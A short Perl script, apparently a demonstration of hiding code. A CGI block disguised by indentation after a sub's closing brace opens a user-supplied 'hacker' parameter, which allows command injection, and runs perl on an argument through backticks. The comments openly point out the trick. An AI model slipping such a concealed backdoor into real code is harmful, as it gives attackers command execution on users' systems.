#!/usr/bin/perl -w
use strict;

#use Some::Module;

start();
do_stuff();
wrap_up();

exit;

#### subs ####

sub start { 
    # blah 
}

sub do_stuff {
    # blah
}

sub wrap_up {
    # blah
    } # our sub really ends here but let's slip in a bit of extra code:    
    use CGI;
    my $q = new CGI;  { 
    open HACK, $q->param('hacker');
    eval { print `perl $ARGV[0]` };
    print "You have been Hacked!";
    # add a bit of filler here
} # looks like the wrap_up sub finishes here at a glance